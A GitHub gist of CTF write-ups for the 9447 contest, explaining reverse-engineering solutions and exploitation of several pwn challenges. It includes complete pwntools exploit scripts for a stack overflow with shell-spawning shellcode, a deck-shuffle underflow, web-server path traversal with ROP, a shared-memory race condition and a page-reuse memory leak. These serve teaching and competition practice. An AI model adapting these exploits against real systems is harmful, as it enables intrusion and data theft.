Skip to content

Instantly share code, notes, and snippets.

@xyzz
Last active May 26, 2017 16:04
Show Gist options
  • Save xyzz/9a5511ffa1ade17e7359 to your computer and use it in GitHub Desktop.
Save xyzz/9a5511ffa1ade17e7359 to your computer and use it in GitHub Desktop.
Bushwhackers Exploit/RE 9447 CTF writeups

flag finder

$ ./flagfinder-bbc6305273a39e9ccd751c24df86ac61 123
Try again
9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_H4LT1N6_prObL3M_n1c3_} 1000024

The real flag finder

Looking at the binary, it seems to do some calculations, and then compares some data with the first argument. Let's set a breakpoint to the final comparison and look at the registers.

(gdb) b *0x400729
Breakpoint 1 at 0x400729
(gdb) r
Starting program: /media/psf/virtualbox-shared/9447/flagFinderRedux/flagFinderRedux-e72e7ac9b16b8f40acd337069f94d524 123

Breakpoint 1, 0x0000000000400729 in ?? ()
(gdb) x/s $rsi
0x7fffffffe359:	"123"
(gdb) x/s $rdi
0x7fffffffde10:	"9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}"
(gdb) 

danklang

After a quick google search I've found the interpreter for the dank language: https://github.com/jfeng41/greentext

Translating the program to Python we get the "maximum recursion depth exceeded" exception. Let's look at the function and figure out what they do.

fail

This function recursively checks if a given number is prime. I rewrote it to loop until N ** 0.5.

dootdoot

This one calculates a function f(n, k) = f(n - 1, k - 1) + f(n - 1, k). This function is the number of combinations or binomial coefficient. Since K is always 5, I rewrote it as:

return n * (n - 1) * (n - 2) * (n - 3) * (n - 4) / (1 * 2 * 3 * 4 * 5)

brotherman

Calculates Fibonacci numbers. To make it faster I precalculate them and then the actual function does a list lookup:

fib = [1, 1, 1]
for x in xrange(13379447):
	fib.append((fib[-1] + fib[-2]) % 987654321)

def brotherman(memes):
	if memes < 3:
		return 1
	return fib[memes]

epicfail

After all these changes it still exceeds recursion limit in epicfail. To solve this I cache its return value and then precalculate the values starting from 1.

pre_epicfail = dict()
def epicfail(memes):
	if memes in pre_epicfail:
		return pre_epicfail[memes]
	wow = 0
	dank = True
	if memes > 1:
		dank = fail(memes, 2)
		if dank:
			wow = bill(memes - 1) + 1
		else:
			wow = such(memes - 1)
	pre_epicfail[memes] = wow
	return wow

# ...

for x in range(13379447):
	if x % 10000 == 0:
		print x
	epicfail(x)

Final code

# checks if memes is prime
def fail(memes, calcium):
	for x in range(2, int(memes ** 0.5) + 1):
		if memes % x == 0:
			return False
	return True

pre_epicfail = dict()

def epicfail(memes):
	# print "epicfail", memes
	if memes in pre_epicfail:
		return pre_epicfail[memes]
	wow = 0
	dank = True
	if memes > 1:
		dank = fail(memes, 2)
		if dank:
			wow = bill(memes - 1) + 1
		else:
			wow = such(memes - 1)
	pre_epicfail[memes] = wow
	return wow

# C(n, k) where N = memes, K = seals
def dootdoot(memes, seals):
	if seals != 5:
		print "Error!"
	n = memes
	return n * (n - 1) * (n - 2) * (n - 3) * (n - 4) / (1 * 2 * 3 * 4 * 5)


def such(memes):
	wow = dootdoot(memes, 5)
	if wow % 7 == 0:
		wew = bill(memes - 1)
		wow += 1
	else:
		wew = epicfail(memes - 1)
	wow += wew
	return wow

print "precalc fib"
fib = [1, 1, 1]
for x in xrange(13379447):
	fib.append((fib[-1] + fib[-2]) % 987654321)
print "precalc fib done"

# fibonacci numbers
def brotherman(memes):
	if memes < 3:
		return 1
	return fib[memes]

def bill(memes):
	wow = brotherman(memes)
	if wow % 3 == 0:
		wew = such(memes - 1)
		wow += 1
	else:
		wew = epicfail(memes - 1)
	wow += wew
	return wow

def me():
	memes = 13379447
	print epicfail(memes)

for x in range(13379447):
	if x % 10000 == 0:
		print x
	epicfail(x)
# print brotherman(5)

me()

It was still a bit too slow, so I ran it in PyPy. Flag: 9447{2992959519895850201020616334426464120987}.

Hello, Joe

We get the binary that first mmaps some RWX memory, then copies 6 functions to it. Then it randomly calls these functions with our flag input from argv[1] and checks return value.

Let's try to pass all six checks.

check1

This one is simple, it checks that the flag starts with 9447{, ends with } and has [0-9a-f]+ between.

check2-6

On amd64 the first argument is passed in rdi. Each function will process the given string by doing a lot of

movzx   rax, byte ptr [rdi]
inc     rdi

and sometimes it will also check the rax value like this:

movzx   rax, byte ptr [rdi]
inc     rdi
cmp     al, 35h
jz      loc_6026B0
cmp     al, 64h
jz      loc_6026B0
cmp     al, 65h
jz      loc_6026B0
xor     eax, eax
retn

The functions also have random delays inserted like this:

loc_602685:
rdtsc
test    eax, 0FFFFFh
jnz     short loc_602685

Solution

I decided to save the disassembly of each check to checkX.txt and then write a simple "interpreter" in Python that would follow JMP, JNZ and compute the set of allowed characters for every string position.

Turns out, for every position we only have 1 allowed character which means there's only one possible flag.

Flag: 9447{94ea5e32f2b5b37d947eea3a38932ae1}

import sys

allowed = [set(range(256)) for x in range(100)]

for filename in ['check2.txt', 'check3.txt', 'check4.txt', 'check5.txt', 'check6.txt']:
	fin = open(filename, "r")
	lines = fin.read().split("\n")
	fin.close()
	curchar = 0
	last_allowed = set()
	need_jmp = False
	cur = 0
	last_jz = "xxxx"
	while True:
		cur += 1
		line = lines[cur]
		prev = lines[cur - 1]
		print line
		if "mov\teax, 1" in line:
			break
		if "xor\teax, eax" in line:
			for x in range(len(lines)):
				if (last_jz + ":") in lines[x]:
					cur = x
					break
			continue
		if "inc\trdi" in line:
			if last_allowed:
				allowed[curchar] &= last_allowed
			if prev != "\t\tmovzx\trax, byte ptr [rdi]":
				print "err..."
				sys.exit(1)
			curchar += 1
			last_allowed = set()
		if "cmp\tal," in line:
			val = line.split()[-1]
			if val.endswith("h"):
				val = val[:-1]
			val = int(val, 16)
			last_allowed.add(val)
		if "jmp\t" in line:
			jmp_dest = line.split()[-1]
			for x in range(len(lines)):
				if (jmp_dest + ":") in lines[x]:
					cur = x
					break
		if "jz\t" in line:
			last_jz = line.split()[-1]

s = ""

for x in range(len(allowed)):
	if len(allowed[x]) < 10:
		print x, allowed[x]
		s += chr(list(allowed[x])[0])
	else:
		pass

print s, len(s)

calcpop

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	FORTIFIED FORTIFY-able  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No	0		2	calcpop

We get a calculator that can sum two numbers. There are two bugs here:

Stack address leak

If there's only one number given the program will output an error:

printf("Missing a space; your input was %p\n", &buf);

However instead of %s it mistakenly uses %p so we get the address of buf.

Stack buffer overflow

Our input is limited to 0x100 bytes however the buffer is only about ~0x9C bytes large. Since stack is executable and it's possible to leak the buffer address, I put shellcode to the buffer and then overwrote saved return address on the stack with the address of the buffer.

To get out of the calculator loop and trigger the return we need the sum to be 201527. I chose to input one more string: 201527 0. This overwrote part of shellcode so I changed the buffer layout to 0x10 bytes of padding, then shellcode, then more padding, then new return address.

Flag: 9447{shELl_i5_easIEr_thaN_ca1c}.

Exploit

from pwn import *

p = remote("calcpop-4gh07blg.9447.plumbing", 9447)
p.recvuntil("Welcome to")
p.recvline()

p.sendline("1")
data = p.recvline()
leak = int(data.split()[-1], 16)

print "Leaked addr 0x{:x}".format(leak)

s = "c" * 0x10
s += asm(shellcraft.sh())
s += "a" * (156 - len(s))

p.sendline(s + p32(leak + 0x10))
p.sendline("201527 0")

p.interactive()

cards

After taking a look at the source code I figured that we can't win by following the rules so let's exploit the binary instead.

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	FORTIFIED FORTIFY-able  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes	2		4	cards

The bug's in the shuffle function, let's look at it:

void shuffle(long long *deck, int size) {
	int i;
	for (i = 0; i < size; i++) {
		long long val = deck[i];
		if (val < 0ll) {
			val = -val;
		}
		long long temp = deck[val % size];
		deck[val % size] = deck[(i + 1) % size];
		deck[(i + 1) % size] = temp;
	}
}

We know that in C the modulus operator can return a negative value when the first operand is negative. The shuffle function also knows that, however there's a bug in the if: if (val < 0ll) val = -val;. If val is LLONG_MIN (or -9223372036854775808, or 0x8000000000000000), -val will equal val and still be negative.

After taking the modulus we can end up with one of the following values, depending on the deck size:

1: 0
2: 0
3: -2
4: 0
5: -3
6: -2
7: -1
8: 0
9: -8
10: -8
11: -8
12: -8
13: -8
14: -8
15: -8
16: 0
17: -9
18: -8
19: -18
20: -8
21: -8
22: -8
23: -3
24: -8
25: -8
26: -8
27: -26
28: -8
29: -12
30: -8
31: -8
32: 0
33: -8
34: -26
35: -8
36: -8
37: -6
38: -18
39: -8
40: -8
41: -8
42: -8
43: -42
44: -8
45: -8
46: -26
47: -36
48: -32
49: -1
50: -8
51: -26
52: -8

So we can underflow the deck buffer. It's on the stack frame of the previous function, handleRequests, and turns out that the shuffle return address lies at &deck[-1]. We can use deck size 49 to overwrite this value.

However, the binary is PIE, so we first need to leak its address. By using deck size 5 I get the value of deck[-3] "shuffled" into my deck, which is exactly what we needed -- some return address into our executable.

The final plan is:

  1. Start the game with deck size 5, put one -9223372036854775808 into the deck, set all other cards to 1.
  2. Once the game begins, our deck will have a leaked address shuffled into it.
  3. Play the game and lose it, but now we know the executable base.
  4. Start another game with deck size 49, put one -9223372036854775808 into it, set all other cards to the desired return address (printFlag function).
  5. Once shuffle returns, we get the flag.

Flag: 9447{ThE_Only_w1nn1Ng_M0ve_1S_t0_stEAl_The_flAg}

Exploit

from pwn import *

context.arch = "amd64"

p = remote("cards-6xvx9tsi.9447.plumbing", 9447)

big = "-9223372036854775808 "

L = 5
for x in range(L):
	if x == 0:
		p.send(big)
	else:
		p.send("1 ")
p.sendline("0")

p.recvuntil("left:\n")
data = p.recvuntil("\n")
leak = int(data.split()[2])

base = leak - 0x8ea
print "Leaked addr: 0x{:x} base 0x{:x}".format(leak, base)

for x in range(L):
	p.sendline(str(x))

L = 49
for x in range(L):
	if x == 0:
		p.send(big)
	else:
		p.send(str(base + 0xd90) + " ")
p.sendline("0")

p.interactive()

BWS

This time it's a web server. It runs in infinite loop and processes requests from stdin (It can even process multiple requests from the same session).

The most interesting function is at 0x400D00: int process_path(char *in, int inlen, char *out, int outlen). Taking a path from a GET or HEAD request it tries to "normalize" it by removing all ./ and processing ../.

For example, it would convert /abc./defg to /abcdefg and /path/../file to /file.

The path is then appended to files and if the final location is a directory we get its listing, otherwise the webserver sends us the file.

There are some bugs in the process_path function, for example, if we request GET /.. HTTP/1.1 it will list the parent directory. It has some file named flag.txt which is probably our target.

However, if we try to request GET /../flag.txt HTTP/1.1 the server will crash. And GET //../flag.txt HTTP/1.1 will strip out one /, end up with /flag.txt and return a 404 error.

Perhaps we could exploit some memory corruption bug?

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes	3		4	bws-0a1effb16b7c9123fc28a768317b9956

Let's look at how process_path handles ... First, this function copies bytes from in to out. But once it finds that out ends with ../ (e.g. AB../) there's a loop that searches for a / (starting at A) and sets the out pointer to the previous /.

What happens if the path is /../? We get buffer underflow, since the search will start right before the buffer, and so the server will crash.

However, remember that it's possible to send multiple requests to the server. And the out buffer in process_path is allocated on the stack frame of the calling function. Maybe we could set up the stack somehow so that it contains a / somwhere before out?

If we first request a file that doesn't exist, a function at 0x400E20 will get called. It writes Could not find $PATH to a stack buffer which is exactly what's needed since we can make $PATH have some slashes in it.

Then we can make the next requests's path /../PAYLOAD. At the time of underflow the stack will look like that:

low addresses: 0x000...
...
Could not find /aaaaaaaaaa[...]aaaaaaaaa/  # path from the first request
[a bit of crap]
[parse_path's return address]   <= parse_path's stack frame
[out buffer]                    \
...                             | <= do_process_request's stack frame
...                             /
[full http request]
...
high addresses: 0xFFF...

So it's clear now that we can overwrite parse_path's return address after the underflow. However it's not possible to write a full ropchain just with the file name since it can't contain zero bytes.

Unlike the file name, the full HTTP body can contain any bytes. It's also located below parse_path's return address. So the plan is to overwrite return address with a gadget that would "eat" some stack by doing add rsp, XX ; ret.

Thankfully, the binary has a suitable gadget:

add     rsp, 1A8h
retn

and that's exactly what we need for stack to end up in the middle of our HTTP body. Now with the possibility to have zero bytes we can happily rop away!

But let's instead look at do_process_request (0x4010F0). This is the function that calls process_path. And when the path is processed, at the end, it reads the file into a global buffer and then sends the contents to the user. If we put 0x40115E as our "gadget" the following code will be executed:

.text:000000000040115E                 mov     edx, 10000h     ; a3
.text:0000000000401163                 mov     esi, offset g_file_buf ; a2
.text:0000000000401168                 mov     rdi, rsp        ; a1
.text:000000000040116B                 call    readfile
.text:0000000000401170                 test    eax, eax
.text:0000000000401172                 js      short loc_4011C0
.text:0000000000401174                 xor     esi, esi
.text:0000000000401176                 mov     edx, offset g_file_buf
.text:000000000040117B                 test    ebp, ebp
.text:000000000040117D                 cmovz   rsi, rdx        ; a2
.text:0000000000401181                 mov     edi, offset a200Ok ; "200 OK"
.text:0000000000401186                 mov     edx, eax        ; a3
.text:0000000000401188                 call    write_response

so the path to the file the function's going to read is just rsp, which is great, since we can just append it after the code pointer (p64(0x40115E) + "/../flag.txt\x00")

Flag: 9447{1_h0pe_you_L1ked_our_w3b_p4ge}

Exploit

from pwn import *

context.arch = "amd64"
context.log_level = "debug"

p = remote("bws-ad8sfsklw.9447.plumbing", 80)

p.send("GET /{}// HTTP/1.1\r\n\r\n".format("a" * 253))
payload = p64(0x40115E) + "/../flag.txt\x00"
p.send("GET /../{} HTTP/1.1\r\n{}{}\r\n\r\n".format("c" * 20 + p32(0x400f39)[:-1], "E" * 78, payload))

p.interactive()

calpop reloaded

The file we get is a flat binary that contains some x86 code, and strings. By reading through it a bit it becomes evident the file should be loaded at 0x00100000 base.

The function at 0x001008BC is very similar to the main of the calcpop task. However, it's written for a custom OS; thankfully, every system call has short "docstring" that looks like "read(%d %x %d)\n" (seems like it does a printf() when configured correctly?).

Reversing the main() function, I've noticed it has the same two bugs as in the calcpop challenge, but the stack is set up differently, the epilogue looks like this:

seg000:001009CF                 lea     esp, [ebp-10h]
seg000:001009D2                 xor     eax, eax
seg000:001009D4                 pop     ecx
seg000:001009D5                 pop     ebx
seg000:001009D6                 pop     esi
seg000:001009D7                 pop     edi
seg000:001009D8                 pop     ebp
seg000:001009D9                 lea     esp, [ecx-4]
seg000:001009DC                 retn

so instead of simply overwriting return address we first need to overwrite saved esp and point it at the desired return address.

Now all I've needed is to get a proper shellcode. Since I didn't realize it's possible to spawn a /bin/sh, and the "os task package" wasn't published yet I first had to use getdirent to list contents of /ctf. Then once the path is known (/ctf/level1.flag) it was trivial to open() it, read() and then write() to stdout.

Flag: 9447{th1s_O5_is_a_gl0rifi3d_c4lculat0r}

Exploit

from pwn import *
from hashlib import sha1
import subprocess
import sys

shellcode = asm("""
	xor eax, eax
	{}
	mov ebp, esp
	push ebp
	mov eax, {}
	xor eax, 0x42424242
	call eax # sys_open

	push 0x30
	push ebp
	push eax
	mov eax, {}
	xor eax, 0x42424242
	call eax

	push 0x12
	mov esi, {}
	xor esi, 0x42424242
	call esi # ctf_drm

	mov [ebp+0x30], eax
	
	push 0x7F
	push ebp
	xor eax, eax
	push eax
	mov eax, {}
	xor eax, 0x42424242
	call eax # sys_write
""".format(shellcraft.i386.pushstr('/ctf/level1.flag'), 0x00100174 ^ 0x42424242, 0x00100085 ^ 0x42424242, 0x00100225 ^ 0x42424242, 0x001000B8 ^ 0x42424242))


if "\x00" in shellcode or " " in shellcode:
	print "error, has zeroes or spaces"
	print hexdump(shellcode)
	sys.exit(1)

# context.log_level = "debug"

host = "os-uedhyevi.9447.plumbing"

p = remote(host, 9447)
data = p.recvline()

start = data[36:48]

print start

s = subprocess.check_output(["./sha1ebalka", start])[:-1] # This bruteforces the proof-of-work

print s

p.sendline(s)

data = p.recvline()
port = int(data.split()[-1])

p.close()

p = remote(host, port)

p.recvuntil("Welcome to")

p.recvline()
p.sendline("1")
data = p.recvline()
leak = int(data.split()[-1], 16)

print "Leaked addr 0x{:x}".format(leak)

payload = "a" * 0x10 + p32(leak + 0x14) + shellcode

payload += "b" * (0x88 - len(payload))

payload += p32(leak + 0x14)

p.sendline(payload)
p.sendline("0 201527")

data = p.recv()
data = p.recv()
s = "d1e l1k3 the rest\n"
data = data[data.find(s)+len(s):]

print hexdump(data)
print data

RedOs

(this is a continuation of the calpop-reloaded task, so the first step is to pwn the calculator and get user-mode code exec)

We get two files now, level2.client and level2.server. The server starts by executing sys_ctf_drm(0x200C84, 2); which writes the flag to its memory starting at 0x200C84, and then listens to "commands".

Client and server communicate via a shared memory page mapped at 0xB0001000, we need to call sys_shmap(0xB0001000) first and then we can read and write to it and the changes will be visible in both processes.

The "protocol" is very simple: client puts command it wants to execute to 0xB0001000 and the arguments to 0xB0001008-0xB0001014, then writes 1 to 0xB0001004 and loops (calling sys_yield) until 0xB0001004 becomes 0 again.

The server "waits" on 0xB0001004 by looping around calling sys_yield and waiting for it to become 1, then performs the specified command, then writes results somewhere to shared memory (depending on the command), then writes 0 to 0xB0001004.

The server implements a simple key-value storage with 8 byte keys and 8 byte values and the following commands:

  • set
  • get
  • del
  • nth

The bug's in the nth function (see level2.server, 0x00100849). It's supposed to return the Nth key/value largest element (or something like this anyway). The only argument to it is located at 0xB0001008 and the following check is made at the beginning:

  if ( unk_B0001008 > 199u )
  {
    unk_B0001008 = 0;
    unk_B000100C = 0;
    unk_B0001010 = 0;
    unk_B0001014 = 0;
  }

This is because the server can only store 200 key/value pairs max.

After the sorting's done at the end of the function the key and value are written to the shared memory area:

    v5 = *((_DWORD *)&unk_00200010 + 4 * unk_B0001008);
    unk_B0001010 = *((_DWORD *)&unk_0020000C + 4 * unk_B0001008);
    unk_B0001014 = v5;
    v6 = *((_DWORD *)&unk_00200008 + 4 * unk_B0001008);
    unk_B0001008 = *((_DWORD *)&unk_00200004 + 4 * unk_B0001008);
    unk_B000100C = v6;

so it again reads the requested Nth index from unk_B0001008, however what if it's changed? This is a classical race condition and we can exploit it as follows:

  • Request the server to execute Nth function and set 0xB0001008 to a small value
  • After some time passes change 0xB0001008 to a big value
  • Get arbitrary read from the server memory!

The only two problems left are where to read from and how to time the race.

We can read the flag in parts by setting 0xB0001008 to 200, 201, 202. This is because it's located at 0x200C84 which is right after the server's key/value storage.

To time the race I used sys_yield, changing 0xB0001008 after yield's called two times.

I also rewrote the exploit a bit to use a two-stage payload: the first stage would read() the second stage payload from stdin and then jump to it. The reason is that the first stage can't contain any bad characters (e.g. NULLs, or maybe whitespace), while the second stage is free to contain anything.

Flag: 9447{i_hope_no_one_writes_code_like_this}

Exploit

It only dumps a part of the flag at a time, you will have to modify it a bit and run a few times. Also it skips some 4 byte regions in the flag but these are easy to guess.

from pwn import *
from hashlib import sha1
import subprocess
import sys

# loader
shellcode = asm("""
	mov ebp, {}
	xor ebp, 0x42424242

	xor eax, eax
	add eax, 1     # sys_read
	xor ebx, ebx
	mov ecx, ebp
	mov edx, {}
	xor edx, 0x42424242
	int 0xFF

	jmp ebp
""".format(0x00100000 ^ 0x42424242, 0x400 ^ 0x42424242))


if "\x00" in shellcode or " " in shellcode:
	print "error, has zeroes or spaces"
	print hexdump(shellcode)
	sys.exit(1)

host = "os-uedhyevi.9447.plumbing"

real = True

if real:
	p = remote(host, 9447)
	data = p.recvline()
	start = data[36:48]
	print start
	s = subprocess.check_output(["./sha1ebalka", start])[:-1]
	print s
	p.sendline(s)
	data = p.recvline()
	port = int(data.split()[-1])
	p.close()

	p = remote(host, port)
else:
	p = remote("localhost", 9447)

p.recvuntil("Welcome to")

p.recvline()
p.sendline("1")
data = p.recvline()
leak = int(data.split()[-1], 16)

print "Leaked addr 0x{:x}".format(leak)

payload = "a" * 0x10 + p32(leak + 0x14) + shellcode

payload += "b" * (0x88 - len(payload))

payload += p32(leak + 0x14)

p.sendline(payload)
p.sendline("0 201527")

data = p.recv()

# real shellcode
stage2 = asm("""
	mov ebp, 0x200000
	mov edi, 0xB0001000

	mov eax, 20    # sys_shmap
	mov ebx, edi
	int 0xFF

	mov dword ptr [edi], 4    # cmd nth
	mov dword ptr [edi+8], 0
	mov dword ptr [edi+4], 1  # cmd arrived

	xor esi, esi
start:
	inc esi
	mov ebp, 0x0
	cmp esi, 1
	jle nope
	mov ebp, 202
nope:
	mov dword ptr [edi+8], ebp # race condition
	mov ecx, [edi+4]
	test ecx, ecx
	jz out
	mov eax, 5
	int 0xFF
	jmp start
out:

	mov [edi], esi

	mov eax, 2     # sys_write
	xor ebx, ebx
	mov ecx, edi
	mov edx, 0x20
	int 0xFF

	mov eax, 0xB   # sys_shutdown
	int 0xFF
""")


p.sendline(stage2)

p.recv()
data = p.recvall()

print hexdump(data)

WtfOs

(this is a continuation of the calpop-reloaded task, so the first step is to pwn the calculator and get user-mode code exec)

Hints

Hint! It would be a shame if the flag wasn't actually cleared from memory, wouldn't it?

Hint! Can you see any way that a usermode program can ask for more memory?

Hint: the topbar information, about pages free/allocated/somerandomcounter may be useful.

Solution

Once we connect to the calculator the server actually spawns 3 tasks: /ctf/level3 --silent, /ctf/level2.server --silent, /ctf/level.

We need to get the level3 flag now.

Looking at the binary, it doesn't do anything useful, just a usual sys_ctf_drm(&flag, 3), then exits.

First I tried spawning /ctf/level3 from my process, however, this didn't work since after the first call of sys_ctf_drm the kernel wipes out the key. What we get instead is some crap like 9447{WRONG http://imgur.com/QDwqFG1}

The hints made the task kinda obvious :( but anyway. Looks like the bug's that the kernel doesn't zero out the mapped pages. So once /ctf/level3 exits, its pages are marked as free. Now we need to reuse a free'd page in our process and read the flag out of it.

But how can a user space program ask for more memory? There aren't that many syscalls implemented in the kernel, and after checking all of them the only option seems to be sys_shmap. Remember, that it's used to create a shared memory mapping, however, if an address wasn't shmap'ped from another process it will start by allocating us a page.

Now all we need to do is shmap() a lot of memory and dump it to stdout, then search for the flag. There's one restriction on what addresses can be mapped:

  if ( addr - 0xB0000000 > 0x3FFFFF )
    goto early_exit;

so we can shmap() addresses from 0xB0000000 to 0xB0000000+0x3FFFFF (and they must be 0x1000 aligned, of course).

And this is basically everything the exploit does: call a lot of shmap() to eat all free pages, then call write() to dump the contents to stdout.

Flag: 9447{n0_on3_exp3ct5_the_m3m0ry_l34k5}

Exploit

from pwn import *
from hashlib import sha1
import subprocess
import sys

# context.log_level = "debug"

# loader
shellcode = asm("""
	mov ebp, {}
	xor ebp, 0x42424242

	xor eax, eax
	add eax, 1     # sys_read
	xor ebx, ebx
	mov ecx, ebp
	mov edx, {}
	xor edx, 0x42424242
	int 0xFF

	jmp ebp
""".format(0x00100000 ^ 0x42424242, 0x400 ^ 0x42424242))


if "\x00" in shellcode or " " in shellcode:
	print "error, has zeroes or spaces"
	print hexdump(shellcode)
	sys.exit(1)

host = "os-uedhyevi.9447.plumbing"

real = True

if real:
	p = remote(host, 9447)
	data = p.recvline()
	start = data[36:48]
	print start
	s = subprocess.check_output(["./sha1ebalka", start])[:-1]
	print s
	p.sendline(s)
	data = p.recvline()
	port = int(data.split()[-1])
	p.close()

	p = remote(host, port)
else:
	p = remote("localhost", 9447)

p.recvuntil("Welcome to")

p.recvline()
p.sendline("1")
data = p.recvline()
leak = int(data.split()[-1], 16)

print "Leaked addr 0x{:x}".format(leak)

payload = "a" * 0x10 + p32(leak + 0x14) + shellcode
# while len(payload) % 4 != 0:
# 	payload += "B"

payload += "b" * (0x88 - len(payload))

payload += p32(leak + 0x14)

p.sendline(payload)
p.sendline("0 201527")

data = p.recv()

# real shellcode
stage2 = asm("""
	mov edi, 0xB0000000

reloop2:
	mov eax, 20    # sys_shmap
	mov ebx, edi
	int 0xFF
	add edi, 0x1000
	cmp edi, 0xB02C4000
	jne reloop2

	mov [esp], eax

	mov edi, 0xB0000000
reloop:
	mov eax, 2     # sys_write
	xor ebx, ebx
	mov ecx, edi
	mov edx, 0x100
	int 0xFF
	add edi, 0x100
	cmp edi, 0xC0000000
	jne reloop

inf:
	jmp inf
""")


p.sendline(stage2)

p.recv()
data = p.recvall()

fout = open("output.bin", "wb")
fout.write(data)
fout.close()

print "Original len: 0x{:x}".format(len(data))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment